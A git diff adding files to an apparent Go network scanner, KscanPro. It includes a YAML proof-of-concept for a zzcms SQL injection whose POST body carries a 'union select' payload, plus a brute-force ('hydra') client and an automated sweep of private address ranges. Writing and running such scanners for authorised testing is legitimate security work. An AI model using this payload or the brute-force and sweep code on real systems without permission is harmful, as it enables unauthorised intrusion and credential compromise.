diff --git a/core/pocScan/pocs/zzcms-zsmanage-sqli.yml b/core/pocScan/pocs/zzcms-zsmanage-sqli.yml
new file mode 100644
index 0000000..3652b9c
--- /dev/null
+++ b/core/pocScan/pocs/zzcms-zsmanage-sqli.yml
@@ -0,0 +1,25 @@
+name: poc-yaml-zzcms-zsmanage-sqli
+set:
+ r0: randomLowercase(6)
+ r1: randomInt(40000, 44800)
+ r2: randomInt(40000, 44800)
+rules:
+ - method: POST
+ path: /user/zs.php?do=save
+ headers:
+ Content-Type: application/x-www-form-urlencoded
+ body: >-
+ proname={{r0}}&tz=1%E4%B8%87%E4%BB%A5%E4%B8%8B&prouse={{r0}}&sx%5B%5D=&sx%5B%5D=&sm={{r0}}&province=%E5%85%A8%E5%9B%BD&city=%E5%85%A8%E5%9B%BD%E5%90%84%E5%9C%B0%E5%8C%BA&xiancheng=&cityforadd=&img=%2Fimage%2Fnopic.gif&flv=&zc=&yq=&action=add&Submit=%E5%A1%AB%E5%A5%BD%E4%BA%86%EF%BC%8C%E5%8F%91%E5%B8%83%E4%BF%A1%E6%81%AF&smallclassid[]=1&smallclassid[]=2)%20union%20select%20{{r1}}*{{r2}}%23
+ follow_redirects: true
+ expression: |
+ response.status == 200
+ - method: GET
+ path: /user/zsmanage.php
+ follow_redirects: true
+ expression: |
+ response.status == 200 && response.body.bcontains(bytes(string(r1 * r2)))
+detail:
+ author: JingLing(https://hackfun.org/)
+ version: zzcms201910
+ links:
+ - https://github.com/JcQSteven/blog/issues/18
diff --git a/core/scanner/type-client-domain.go b/core/scanner/type-client-domain.go
new file mode 100644
index 0000000..134c9ce
--- /dev/null
+++ b/core/scanner/type-client-domain.go
@@ -0,0 +1,58 @@
+package scanner
+
+import (
+ "KscanPro/core/cdn"
+ "net"
+ "sync"
+)
+
+var CDNCheck = false
+
+var DomainDatabase = sync.Map{}
+
+type DomainClient struct {
+ *client
+ HandlerIsCDN func(domain, CDNInfo string)
+ HandlerRealIP func(domain string, ip net.IP)
+ HandlerError func(domain string, err error)
+}
+
+func NewDomainScanner(config *Config) *DomainClient {
+ var client = &DomainClient{
+ client: newConfig(config, config.Threads),
+ HandlerIsCDN: func(domain, CDNInfo string) {},
+ HandlerRealIP: func(domain string, ip net.IP) {},
+ HandlerError: func(domain string, err error) {},
+ }
+ client.pool.Interval = config.Interval
+ client.pool.Function = func(in interface{}) {
+ domain := in.(string)
+
+ ip, err := cdn.Resolution(domain)
+ if err != nil {
+ client.HandlerError(domain, err)
+ return
+ }
+ //将DNS解析结果存入数据库
+ DomainDatabase.Store(domain, ip)
+ if CDNCheck == false {
+ client.HandlerRealIP(domain, net.ParseIP(ip))
+ return
+ }
+
+ if ok, result, _ := cdn.FindWithDomain(domain); ok {
+ client.HandlerIsCDN(domain, result)
+ return
+ }
+ if ok, result, _ := cdn.FindWithIP(ip); ok {
+ client.HandlerIsCDN(domain, result)
+ return
+ }
+ client.HandlerRealIP(domain, net.ParseIP(ip))
+ }
+ return client
+}
+
+func (c *DomainClient) Push(domain string) {
+ c.pool.Push(domain)
+}
diff --git a/core/scanner/type-client-hydra.go b/core/scanner/type-client-hydra.go
new file mode 100644
index 0000000..d777a4c
--- /dev/null
+++ b/core/scanner/type-client-hydra.go
@@ -0,0 +1,48 @@
+package scanner
+
+import (
+ "KscanPro/app"
+ "KscanPro/core/hydra"
+ "net"
+)
+
+type HydraClient struct {
+ *client
+ HandlerSuccess func(addr net.IP, port int, protocol string, auth *hydra.Auth)
+ HandlerError func(addr net.IP, port int, protocol string, err error)
+}
+
+type foo3 struct {
+ ipAddr net.IP
+ port int
+ protocol string
+}
+
+func NewHydraScanner(config *Config) *HydraClient {
+ var client = &HydraClient{
+ client: newConfig(config, config.Threads),
+ HandlerSuccess: func(addr net.IP, port int, protocol string, auth *hydra.Auth) {},
+ HandlerError: func(addr net.IP, port int, protocol string, err error) {},
+ }
+ client.pool.Interval = config.Interval
+ client.pool.Function = func(in interface{}) {
+ value := in.(foo3)
+ ipAddr := value.ipAddr
+ protocol := value.protocol
+ port := value.port
+ //适配爆破模块
+ authInfo := hydra.NewAuthInfo(ipAddr.String(), port, protocol)
+ crack := hydra.NewCracker(authInfo, app.Setting.HydraUpdate, 10)
+ auth, err := crack.Run()
+ if err != nil {
+ client.HandlerError(ipAddr, port, protocol, err)
+ } else {
+ client.HandlerSuccess(ipAddr, port, protocol, auth)
+ }
+ }
+ return client
+}
+
+func (c *HydraClient) Push(addr net.IP, port int, protocol string) {
+ c.pool.Push(foo3{addr, port, protocol})
+}
diff --git a/core/scanner/type-client-ip.go b/core/scanner/type-client-ip.go
new file mode 100644
index 0000000..44843b5
--- /dev/null
+++ b/core/scanner/type-client-ip.go
@@ -0,0 +1,47 @@
+package scanner
+
+import (
+ "KscanPro/lib/osping"
+ "KscanPro/lib/tcpping"
+ "net"
+)
+
+type IPClient struct {
+ *client
+ HandlerAlive func(addr net.IP)
+ HandlerDie func(addr net.IP)
+ HandlerError func(addr net.IP, err error)
+}
+
+func NewIPScanner(config *Config) *IPClient {
+ var client = &IPClient{
+ client: newConfig(config, config.Threads),
+ HandlerAlive: func(addr net.IP) {},
+ HandlerDie: func(addr net.IP) {},
+ HandlerError: func(addr net.IP, err error) {},
+ }
+ client.pool.Interval = config.Interval
+ client.pool.Function = func(in interface{}) {
+ ip := in.(net.IP)
+ if client.config.HostDiscoverClosed == true {
+ client.HandlerAlive(ip)
+ return
+ }
+ if osping.Ping(ip.String()) == true {
+ client.HandlerAlive(ip)
+ return
+ }
+ if err := tcpping.PingPorts(ip.String(), config.Timeout); err == nil {
+ client.HandlerAlive(ip)
+ return
+ }
+ client.HandlerDie(ip)
+ }
+ return client
+}
+
+func (c *IPClient) Push(ips ...net.IP) {
+ for _, ip := range ips {
+ c.pool.Push(ip)
+ }
+}
diff --git a/core/scanner/type-client-port.go b/core/scanner/type-client-port.go
new file mode 100644
index 0000000..75caadf
--- /dev/null
+++ b/core/scanner/type-client-port.go
@@ -0,0 +1,57 @@
+package scanner
+
+import (
+ "github.com/lcvvvv/gonmap"
+ "net"
+)
+
+type foo1 struct {
+ addr net.IP
+ num int
+}
+
+type PortClient struct {
+ *client
+
+ HandlerClosed func(addr net.IP, port int)
+ HandlerOpen func(addr net.IP, port int)
+ HandlerNotMatched func(addr net.IP, port int, response string)
+ HandlerMatched func(addr net.IP, port int, response *gonmap.Response)
+ HandlerError func(addr net.IP, port int, err error)
+}
+
+func NewPortScanner(config *Config) *PortClient {
+ var client = &PortClient{
+ client: newConfig(config, config.Threads),
+ HandlerClosed: func(addr net.IP, port int) {},
+ HandlerOpen: func(addr net.IP, port int) {},
+ HandlerNotMatched: func(addr net.IP, port int, response string) {},
+ HandlerMatched: func(addr net.IP, port int, response *gonmap.Response) {},
+ HandlerError: func(addr net.IP, port int, err error) {},
+ }
+ client.pool.Interval = config.Interval
+ client.pool.Function = func(in interface{}) {
+ nmap := gonmap.New()
+ nmap.SetTimeout(config.Timeout)
+ if config.DeepInspection == true {
+ nmap.OpenDeepIdentify()
+ }
+ value := in.(foo1)
+ status, response := nmap.ScanTimeout(value.addr.String(), value.num, 100*config.Timeout)
+ switch status {
+ case gonmap.Closed:
+ client.HandlerClosed(value.addr, value.num)
+ case gonmap.Open:
+ client.HandlerOpen(value.addr, value.num)
+ case gonmap.NotMatched:
+ client.HandlerNotMatched(value.addr, value.num, response.Raw)
+ case gonmap.Matched:
+ client.HandlerMatched(value.addr, value.num, response)
+ }
+ }
+ return client
+}
+
+func (c *PortClient) Push(ip net.IP, num int) {
+ c.pool.Push(foo1{ip, num})
+}
diff --git a/core/scanner/type-client.go b/core/scanner/type-client.go
new file mode 100644
index 0000000..d155ebc
--- /dev/null
+++ b/core/scanner/type-client.go
@@ -0,0 +1,39 @@
+package scanner
+
+import "github.com/lcvvvv/pool"
+
+type client struct {
+ config *Config
+ pool *pool.Pool
+
+ deferFunc func()
+}
+
+func (c *client) Stop() {
+ c.pool.Stop()
+ c.deferFunc()
+}
+
+func (c *client) Start() {
+ c.pool.Run()
+}
+
+func (c *client) Run() {
+ c.pool.Run()
+}
+
+func (c *client) Defer(f func()) {
+ c.deferFunc = f
+}
+
+func (c *client) IsDone() bool {
+ return c.pool.Done
+}
+
+func (c *client) RunningThreads() int {
+ return c.pool.RunningThreads()
+}
+
+func newConfig(config *Config, threads int) *client {
+ return &client{config, pool.New(threads), func() {}}
+}
diff --git a/core/scanner/type-clinet-url.go b/core/scanner/type-clinet-url.go
new file mode 100644
index 0000000..bcec15a
--- /dev/null
+++ b/core/scanner/type-clinet-url.go
@@ -0,0 +1,98 @@
+package scanner
+
+import (
+ "errors"
+ "github.com/lcvvvv/appfinger"
+ "github.com/lcvvvv/gonmap"
+ "net/http"
+ "net/url"
+)
+
+type foo2 struct {
+ URL *url.URL
+ response *gonmap.Response
+ req *http.Request
+ client *http.Client
+}
+
+const (
+ NotSupportProtocol = "protocol is not support"
+)
+
+type URLClient struct {
+ *client
+ HandlerMatched func(url *url.URL, banner *appfinger.Banner, finger *appfinger.FingerPrint)
+ HandlerError func(url *url.URL, err error)
+}
+
+func NewURLScanner(config *Config) *URLClient {
+ var client = &URLClient{
+ client: newConfig(config, config.Threads),
+ HandlerMatched: func(url *url.URL, banner *appfinger.Banner, finger *appfinger.FingerPrint) {},
+ HandlerError: func(url *url.URL, err error) {},
+ }
+ client.pool.Interval = config.Interval
+ client.pool.Function = func(in interface{}) {
+ value := in.(foo2)
+ URL := value.URL
+ response := value.response
+ req := value.req
+ cli := value.client
+ if appfinger.SupportCheck(URL.Scheme) == false {
+ client.HandlerError(URL, errors.New(NotSupportProtocol))
+ return
+ }
+ var banner *appfinger.Banner
+ var finger *appfinger.FingerPrint
+ var err error
+ if response == nil || req != nil || cli != nil {
+ banner, err = appfinger.GetBannerWithURL(URL, req, cli)
+ if err != nil {
+ client.HandlerError(URL, err)
+ return
+ }
+ finger = appfinger.Search(URL, banner)
+ } else {
+ //banner, err = appfinger.GetBannerWithResponse(URL, response.Raw, req, cli)
+ banner, err = appfinger.GetBannerWithURL(URL, req, cli)
+ if err != nil {
+ client.HandlerError(URL, err)
+ return
+ }
+ finger = appfinger.Search(URL, banner)
+ appendTcpBannerInFinger(finger, response.FingerPrint)
+ }
+ client.HandlerMatched(URL, banner, finger)
+ }
+ return client
+}
+
+func (c *URLClient) Push(URL *url.URL, response *gonmap.Response, req *http.Request, client *http.Client) {
+ c.pool.Push(foo2{URL, response, req, client})
+}
+
+func appendTcpBannerInFinger(finger *appfinger.FingerPrint, gonmapFinger *gonmap.FingerPrint) *appfinger.FingerPrint {
+ if gonmapFinger.ProductName != "" {
+ if gonmapFinger.Version != "" {
+ finger.AddProduct(gonmapFinger.ProductName + "/" + gonmapFinger.Version)
+ }
+ finger.AddProduct(gonmapFinger.ProductName)
+ }
+
+ if gonmapFinger.OperatingSystem != "" {
+ finger.AddProduct(gonmapFinger.OperatingSystem)
+ }
+
+ if gonmapFinger.DeviceType != "" {
+ finger.AddProduct(gonmapFinger.DeviceType)
+ }
+
+ if gonmapFinger.Info != "" {
+ finger.AddProduct(gonmapFinger.Info)
+ }
+
+ if gonmapFinger.Hostname != "" {
+ finger.Hostname = gonmapFinger.Hostname
+ }
+ return finger
+}
diff --git a/core/scanner/type-config.go b/core/scanner/type-config.go
new file mode 100644
index 0000000..e903716
--- /dev/null
+++ b/core/scanner/type-config.go
@@ -0,0 +1,22 @@
+package scanner
+
+import "time"
+
+type Config struct {
+ DeepInspection bool
+ Timeout time.Duration
+ Threads int
+ Interval time.Duration
+
+ HostDiscoverClosed bool
+}
+
+func DefaultConfig() *Config {
+ return &Config{
+ DeepInspection: false,
+ Timeout: time.Second * 2,
+ Threads: 800,
+ Interval: time.Millisecond * 300,
+ HostDiscoverClosed: false,
+ }
+}
diff --git a/core/scanner/type-response.go b/core/scanner/type-response.go
new file mode 100644
index 0000000..e7d86e9
--- /dev/null
+++ b/core/scanner/type-response.go
@@ -0,0 +1,18 @@
+package scanner
+
+type Banner struct {
+ Header string
+ Body string
+ Response string
+ Cert string
+ Title string
+ Hash string
+ Icon string
+}
+
+type FingerPrint struct {
+ ProductName []string
+ Hostname string
+ Domain string
+ MACAddr string
+}
diff --git a/core/slog/slog.go b/core/slog/slog.go
new file mode 100644
index 0000000..cbf35fd
--- /dev/null
+++ b/core/slog/slog.go
@@ -0,0 +1,153 @@
+package slog
+
+import (
+ "KscanPro/lib/color"
+ "fmt"
+ "github.com/lcvvvv/stdio"
+ "io"
+ "io/ioutil"
+ "log"
+ "os"
+ "runtime"
+ "strings"
+)
+
+type Level int
+
+const (
+ DEBUG Level = 0x0000a1
+ INFO = 0x0000b2
+ WARN = 0x0000c3
+ ERROR = 0x0000d4
+ DATA = 0x0000f5
+ NONE = 0x0000e6
+)
+
+type Logger struct {
+ log *log.Logger
+ modifier func(string) string
+ filter func(string) bool
+}
+
+func (l *Logger) Printf(format string, s ...interface{}) {
+ expr := fmt.Sprintf(format, s...)
+ l.Println(expr)
+}
+
+func (l *Logger) Println(s ...interface{}) {
+ expr := fmt.Sprint(s...)
+ if l.modifier != nil {
+ expr = l.modifier(expr)
+ }
+ if l.filter != nil {
+ if l.filter(expr) == true {
+ return
+ }
+ }
+ l.log.Println(expr)
+}
+
+var info = &Logger{
+ log.New(stdio.Out, "\r[+]", log.Ldate|log.Ltime),
+ color.Green,
+ nil,
+}
+
+var warn = &Logger{
+ log.New(stdio.Out, "\r[*]", log.Ldate|log.Ltime),
+ color.Red,
+ nil,
+}
+
+var err = &Logger{
+ log.New(io.MultiWriter(stdio.Err), "\rError:", 0),
+ nil,
+ nil,
+}
+
+var dbg = &Logger{
+ log.New(stdio.Out, "\r[-]", log.Ldate|log.Ltime),
+ debugModifier,
+ debugFilter,
+}
+
+func debugModifier(s string) string {
+ _, file, line, _ := runtime.Caller(3)
+ file = file[strings.LastIndex(file, "/")+1:]
+ logStr := fmt.Sprintf("%s%s(%d) %s", "> ", file, line, s)
+ logStr = color.Yellow(logStr)
+ return logStr
+}
+
+func debugFilter(s string) bool {
+ //Debug 过滤器
+ if strings.Contains(s, "too many open") { //发现存在线程过高错误
+ fmt.Println("当前线程过高,请降低线程!或者请执行\"ulimit -n 50000\"命令放开操作系统限制")
+ os.Exit(0)
+ }
+ //if strings.Contains(s, "STEP1:CONNECT") {
+ // return true
+ //}
+ return false
+}
+
+var data = &Logger{
+ log.New(stdio.Out, "\r", 0),
+ nil,
+ nil,
+}
+
+func Printf(level Level, format string, s ...interface{}) {
+ Println(level, fmt.Sprintf(format, s...))
+}
+
+func Println(level Level, s ...interface{}) {
+ logStr := fmt.Sprint(s...)
+ switch level {
+ case DEBUG:
+ dbg.Println(logStr)
+ case INFO:
+ info.Println(logStr)
+ case WARN:
+ warn.Println(logStr)
+ case ERROR:
+ err.Println(logStr)
+ os.Exit(0)
+ case DATA:
+ data.Println(logStr)
+ default:
+ return
+ }
+}
+
+var empty = &Logger{log.New(ioutil.Discard, "", 0), nil, nil}
+
+func SetLevel(level Level) {
+ if level > ERROR {
+ err = empty
+ }
+ if level > WARN {
+ warn = empty
+ }
+ if level > INFO {
+ info = empty
+ }
+ if level > DEBUG {
+ dbg = empty
+ }
+ if level > NONE {
+ //nothing
+ }
+}
+
+func SetOutput(writer io.Writer) {
+ data.modifier = func(s string) string {
+ _, _ = writer.Write([]byte(color.Clear(s)))
+ _, _ = writer.Write([]byte("\r\n"))
+ return s
+ }
+}
+
+func Debug() *Logger {
+ return dbg
+}
diff --git a/core/spy/spy.go b/core/spy/spy.go
new file mode 100644
index 0000000..ce61e03
--- /dev/null
+++ b/core/spy/spy.go
@@ -0,0 +1,191 @@
+package spy
+
+import (
+ "KscanPro/core/slog"
+ "KscanPro/lib/misc"
+ "KscanPro/lib/osping"
+ "KscanPro/lib/uri"
+ "fmt"
+ "github.com/lcvvvv/pool"
+ "net"
+ "strings"
+)
+
+var (
+ Keyword = ""
+ Scan = false
+ Target []string
+)
+
+func Start() {
+ slog.Println(slog.INFO, "将开始自动化存活网段探测,请注意,该模式会发送大量数据包,极易被风控感知,请慎用")
+ slog.Println(slog.INFO, "现在开始进行自动网络环境探测")
+ internet := internetTesting()
+ _ = dnsTesting()
+ var gatewayArr, All []string
+ //若spy参数格式为IP地址,则将对指定的IP地址进行B段存活网关探测
+ if uri.IsIPv4(Keyword) {
+ slog.Printf(slog.INFO, "现在开始指定网段:%s,B段存活网关探测", Keyword)
+ gatewayArr = uri.GetGatewayList(Keyword, "b")
+ HostDiscoveryIcmpPool(gatewayArr)
+ return
+ }
+ //依据情况判断是否进行172B段存活网关探测
+ if Keyword == "all" || Keyword == "172" {
+ //探测172段,B段存活网关
+ slog.Printf(slog.INFO, "当前spy参数值为%s,将开始172段,大B段存活网关探测,此探测时间较长,请耐心等待", Keyword)
+ gatewayArr = []string{}
+ for i := 16; i <= 31; i++ {
+ slog.Printf(slog.INFO, "现在开始枚举常见网段172.%d.0.0", i)
+ gatewayArr = uri.GetGatewayList(fmt.Sprintf("172.%d.0.0", i), "b")
+ gatewayArr = misc.RemoveDuplicateElement(gatewayArr, All...)
+ if len(gatewayArr) > 0 {
+ HostDiscoveryIcmpPool(gatewayArr)
+ All = append(All, gatewayArr...)
+ } else {
+ slog.Println(slog.INFO, "该网段在之前已经枚举,此处不将不再重复枚举")
+ }
+ }
+ }
+ //依据情况判断是否进行10A段存活网关探测
+ if Keyword == "all" || Keyword == "10" {
+ //探测10段,A段存活网关
+ slog.Printf(slog.INFO, "当前spy参数值为%s,将开始10段,A段存活网关探测,此探测时间较长,请耐心等待", Keyword)
+ slog.Println(slog.INFO, "现在开始枚举常见网段10.0.0.0")
+ gatewayArr = uri.GetGatewayList("10.0.0.1", "a")
+ HostDiscoveryIcmpPool(gatewayArr)
+ }
+ //依据情况判断是否进行常规探测
+ if Keyword == "all" || Keyword == "" {
+ //探测网卡所在网段
+ slog.Println(slog.INFO, "现在开始当前所在网段的B段网关存活性探测")
+ gatewayArr = makeInterfaceGatwayList()
+ gatewayArr = misc.RemoveDuplicateElement(gatewayArr)
+ //探测当前所在网段B段网关
+ gatewayArr = misc.RemoveDuplicateElement(gatewayArr, All...)
+ if len(gatewayArr) > 0 {
+ HostDiscoveryIcmpPool(gatewayArr)
+ All = append(All, gatewayArr...)
+ } else {
+ slog.Println(slog.INFO, "该网段在之前已经枚举,此处不将不再重复枚举")
+ }
+ //探测存在特殊规律的网段
+ if internet == false {
+ slog.Println(slog.INFO, "现在开始枚举特殊网段1.1.1.0-255.255.255.0")
+ gatewayArr = append(uri.GetGatewayList("1.1.1.1", "s"))
+ HostDiscoveryIcmpPool(gatewayArr)
+ }
+ }
+
+ //依据情况判断是否进行192B段存活网关探测
+ if Keyword == "all" || Keyword == "" || Keyword == "192" {
+ //探测常见网段192段,B段存活网关
+ slog.Println(slog.INFO, "现在开始枚举常见网段192.168.0.0")
+ gatewayArr = uri.GetGatewayList("192.168.0.1", "b")
+ gatewayArr = misc.RemoveDuplicateElement(gatewayArr, All...)
+ if len(gatewayArr) > 0 {
+ HostDiscoveryIcmpPool(gatewayArr)
+ All = append(All, gatewayArr...)
+ } else {
+ slog.Println(slog.INFO, "该网段在之前已经枚举,此处不将不再重复枚举")
+ }
+ }
+ slog.Println(slog.INFO, "自动化存活网段探测结束")
+ slog.Println(slog.INFO, "小提示:若需要对指定某一b段探测,可设置spy参数值为该段任意IP地址")
+}
+
+func makeInterfaceGatwayList() []string {
+ var gatewayArr []string
+ up, down := getInterfaces()
+ for _, ip := range up {
+ if strings.Contains(ip, "169.254") {
+ continue
+ }
+ gatewayArr = append(gatewayArr, uri.GetGatewayList(ip, "b")...)
+ }
+ for _, ip := range down {
+ if strings.Contains(ip, "169.254") {
+ continue
+ }
+ gatewayArr = append(gatewayArr, uri.GetGatewayList(ip, "b")...)
+ }
+ return gatewayArr
+}
+
+func internetTesting() bool {
+ if osping.Ping("114.114.114.114") {
+ slog.Println(slog.DATA, "Internet--------[√]")
+ return true
+ } else {
+ slog.Println(slog.DATA, "Internet--------[×]")
+ return false
+ }
+}
+
+func dnsTesting() bool {
+ _, err := net.ResolveIPAddr("ip", "www.baidu.com")
+ if err != nil {
+ slog.Println(slog.DATA, "DNS-------------[×]")
+ return false
+ }
+ slog.Println(slog.DATA, "DNS-------------[√]")
+ return true
+}
+
+func getInterfaces() (up []string, down []string) {
+ netInterfaces, err := net.Interfaces()
+ if err != nil {
+ return up, down
+ }
+ for i := 0; i < len(netInterfaces); i++ {
+ addrs, _ := netInterfaces[i].Addrs()
+ for _, address := range addrs {
+ if ipnet, ok := address.(*net.IPNet); ok && !ipnet.IP.IsLoopback() {
+ if ipnet.IP.To4() != nil {
+ if (netInterfaces[i].Flags & net.FlagUp) != 0 {
+ up = append(up, ipnet.IP.String())
+ } else {
+ down = append(down, ipnet.IP.String())
+ }
+ }
+ }
+ }
+ }
+ up = misc.RemoveDuplicateElement(up)
+ down = misc.RemoveDuplicateElement(down)
+ return up, down
+}
+
+func HostDiscoveryIcmpPool(gatewayArr []string) {
+ spyPool := pool.New(200)
+ spyPool.Function = func(i interface{}) {
+ ip := i.(string)
+ //经过存活性检测未存活的IP不会进行下一步测试
+ if osping.Ping(ip) {
+ pushTarget(ip)
+ }
+ }
+ //启用ICMP存活性探测任务下发器
+ go func() {
+ for _, ip := range gatewayArr {
+ spyPool.Push(ip)
+ }
+ //关闭ICMP存活性探测下发信道
+ spyPool.Stop()
+ }()
+ //开始执行主机存活性探测任务
+ spyPool.Run()
+
+ if Scan == true {
+ Target = misc.RemoveDuplicateElement(Target)
+ }
+}
+
+func pushTarget(ip string) {
+ //开始监测输出结果
+ slog.Println(slog.DATA, ip)
+ ipArr := uri.CIDRToIP(fmt.Sprintf("%s/24", ip))
+ for _, ip := range ipArr {
+ Target = append(Target, ip.String())
+ }
+}
diff --git a/core/tips/tips.go b/core/tips/tips.go
new file mode 100644
index 0000000..344c36c
--- /dev/null
+++ b/core/tips/tips.go
@@ -0,0 +1,29 @@
+package tips
+
+import (
+ "math/rand"
+ "time"
+)
+
+var Tips = []string{
+ "可以使用--check参数,对给定的ip:port,protocol://ip:port/path等字符串进行检测,且不会进行端口扫描",
+ "可以使用--check参数,对-f、--fofa的返回结果进行存活性验证,且不会进行端口扫描",
+ "可以使用--scan参数,对-f、--fofa、--spy的扫描结果去重并进行端口扫描",
+ "现在-t参数可以直接输入文件路径,不用再增加file:前缀了",
+ "如果要进行暴力破解,可以使用--hydra参数",
+ "--spy参数,如果不带参数,将会默认对本机所在的网段进行网关存活性探测,如果再加上--scan参数,则会对存活的网段进行端口扫描",
+ "可以使用--spy 10.10.20.1,将会对该网址10.10.20.1/16(B段)进行网关存活性探测",
+ "可以使用--spy 10,将会进行10.0.0.1/8(A段)进行网关存活性探测",
+ "可以使用--spy 172,将会对172.16.0.1/12进行网关存活性探测",
+ "可以使用--spy 192,将会对192.168.0.1/16(B段)进行网关存活性探测",
+ "-sV参数,一般不建议在进行端口扫描的时候使用,一般用于扫描某一个端口,因为实在影响效率",
+ "可以使用-Pn参数关闭存活性探测,将会将所有主机视为存活",
+ "在Windows操作系统下,可以新增环境变量KSCAN_COLOR=TRUE,开启颜色显示",
+ "在使用-f、--fofa参数时,如果搜索的关键字中有&符号,应该使用单引号将所有参数包裹,或者使用\\&进行转义",
+}
+
+func GetTips() string {
+ rand.Seed(time.Now().Unix())
+ index := rand.Intn(len(Tips))
+ return Tips[index]
+}
diff --git a/go.mod b/go.mod
new file mode 100644
index 0000000..cb57043
--- /dev/null
+++ b/go.mod
@@ -0,0 +1,74 @@
+module KscanPro
+
+go 1.22
+
+require (
+ github.com/atotto/clipboard v0.1.4
+ //database
+ github.com/denisenkom/go-mssqldb v0.10.0
+ github.com/go-sql-driver/mysql v1.6.0
+ github.com/huin/asn1ber v0.0.0-20120622192748-af09f62e6358
+ github.com/icodeface/tls v0.0.0-20190904083142-17aec93c60e5
+ github.com/jlaffaye/ftp v0.0.0-20220630165035-11536801d1ff
+ github.com/lcvvvv/appfinger v0.1.1
+
+ //gonmap
+ github.com/lcvvvv/gonmap v1.3.4
+ github.com/lcvvvv/pool v0.0.0-00010101000000-000000000000
+ github.com/lcvvvv/simplehttp v0.1.1
+ github.com/lcvvvv/stdio v0.1.2
+ github.com/lib/pq v1.10.2
+
+ //grdp
+ github.com/lunixbochs/struc v0.0.0-20200707160740-784aaebc1d40
+ github.com/miekg/dns v1.1.50
+ github.com/sijms/go-ora/v2 v2.2.15
+
+ //protocol
+ github.com/stacktitan/smb v0.0.0-20190531122847-da9a425dceb8
+ go.mongodb.org/mongo-driver v1.7.1
+ golang.org/x/crypto v0.18.0
+
+ //chinese
+ golang.org/x/text v0.14.0
+)
+
+require (
+ github.com/google/cel-go v0.20.1
+ github.com/gookit/color v1.5.4
+ github.com/satori/go.uuid v1.2.0
+ golang.org/x/net v0.20.0
+ google.golang.org/genproto/googleapis/api v0.0.0-20240318140521-94a12d6c2237
+ google.golang.org/protobuf v1.33.0
+ gopkg.in/yaml.v2 v2.2.8
+)
+
+require (
+ github.com/PuerkitoBio/goquery v1.8.0 // indirect
+ github.com/andybalholm/cascadia v1.3.1 // indirect
+ github.com/antlr4-go/antlr/v4 v4.13.0 // indirect
+ github.com/go-stack/stack v1.8.0 // indirect
+ github.com/golang-sql/civil v0.0.0-20190719163853-cb61b32ac6fe // indirect
+ github.com/golang/snappy v0.0.1 // indirect
+ github.com/hashicorp/errwrap v1.0.0 // indirect
+ github.com/hashicorp/go-multierror v1.1.1 // indirect
+ github.com/klauspost/compress v1.9.5 // indirect
+ github.com/pkg/errors v0.9.1 // indirect
+ github.com/stoewer/go-strcase v1.2.0 // indirect
+ github.com/twmb/murmur3 v1.1.6 // indirect
+ github.com/xdg-go/pbkdf2 v1.0.0 // indirect
+ github.com/xdg-go/scram v1.0.2 // indirect
+ github.com/xdg-go/stringprep v1.0.2 // indirect
+ github.com/xo/terminfo v0.0.0-20210125001918-ca9a967f8778 // indirect
+ github.com/youmark/pkcs8 v0.0.0-20181117223130-1be2e3e5546d // indirect
+ golang.org/x/exp v0.0.0-20230515195305-f3d0a9c9a5cc // indirect
+ golang.org/x/mod v0.8.0 // indirect
+ golang.org/x/sync v0.1.0 // indirect
+ golang.org/x/sys v0.16.0 // indirect
+ golang.org/x/tools v0.6.0 // indirect
+ google.golang.org/genproto/googleapis/rpc v0.0.0-20240314234333-6e1732d8331c // indirect
+)
+
+replace github.com/lcvvvv/pool => ./lib/pool
+
+//replace github.com/lcvvvv/gonmap => ../go-github/gonmap
diff --git a/go.sum b/go.sum
new file mode 100644
index 0000000..ccceccf
--- /dev/null
+++ b/go.sum
@@ -0,0 +1,221 @@
+github.com/BurntSushi/toml v0.3.1/go.mod h1:xHWCNGjB5oqiDr8zfno3MHue2Ht5sIBksp03qcyfWMU=
+github.com/PuerkitoBio/goquery v1.8.0 h1:PJTF7AmFCFKk1N6V6jmKfrNH9tV5pNE6lZMkG0gta/U=
+github.com/PuerkitoBio/goquery v1.8.0/go.mod h1:ypIiRMtY7COPGk+I/YbZLbxsxn9g5ejnI2HSMtkjZvI=
+github.com/andybalholm/cascadia v1.3.1 h1:nhxRkql1kdYCc8Snf7D5/D3spOX+dBgjA6u8x004T2c=
+github.com/andybalholm/cascadia v1.3.1/go.mod h1:R4bJ1UQfqADjvDa4P6HZHLh/3OxWWEqc0Sk8XGwHqvA=
+github.com/antlr4-go/antlr/v4 v4.13.0 h1:lxCg3LAv+EUK6t1i0y1V6/SLeUi0eKEKdhQAlS8TVTI=
+github.com/antlr4-go/antlr/v4 v4.13.0/go.mod h1:pfChB/xh/Unjila75QW7+VU4TSnWnnk9UTnmpPaOR2g=
+github.com/atotto/clipboard v0.1.4 h1:EH0zSVneZPSuFR11BlR9YppQTVDbh5+16AmcJi4g1z4=
+github.com/atotto/clipboard v0.1.4/go.mod h1:ZY9tmq7sm5xIbd9bOK4onWV4S6X0u6GY7Vn0Yu86PYI=
+github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c=
+github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38=
+github.com/denisenkom/go-mssqldb v0.10.0 h1:QykgLZBorFE95+gO3u9esLd0BmbvpWp0/waNNZfHBM8=
+github.com/denisenkom/go-mssqldb v0.10.0/go.mod h1:xbL0rPBG9cCiLr28tMa8zpbdarY27NDyej4t/EjAShU=
+github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
+github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
+github.com/go-stack/stack v1.8.0 h1:5SgMzNM5HxrEjV0ww2lTmX6E2Izsfxas4+YHWRs3Lsk=
+github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
+github.com/gobuffalo/attrs v0.0.0-20190224210810-a9411de4debd/go.mod h1:4duuawTqi2wkkpB4ePgWMaai6/Kc6WEz83bhFwpHzj0=
+github.com/gobuffalo/depgen v0.0.0-20190329151759-d478694a28d3/go.mod h1:3STtPUQYuzV0gBVOY3vy6CfMm/ljR4pABfrTeHNLHUY=
+github.com/gobuffalo/depgen v0.1.0/go.mod h1:+ifsuy7fhi15RWncXQQKjWS9JPkdah5sZvtHc2RXGlg=
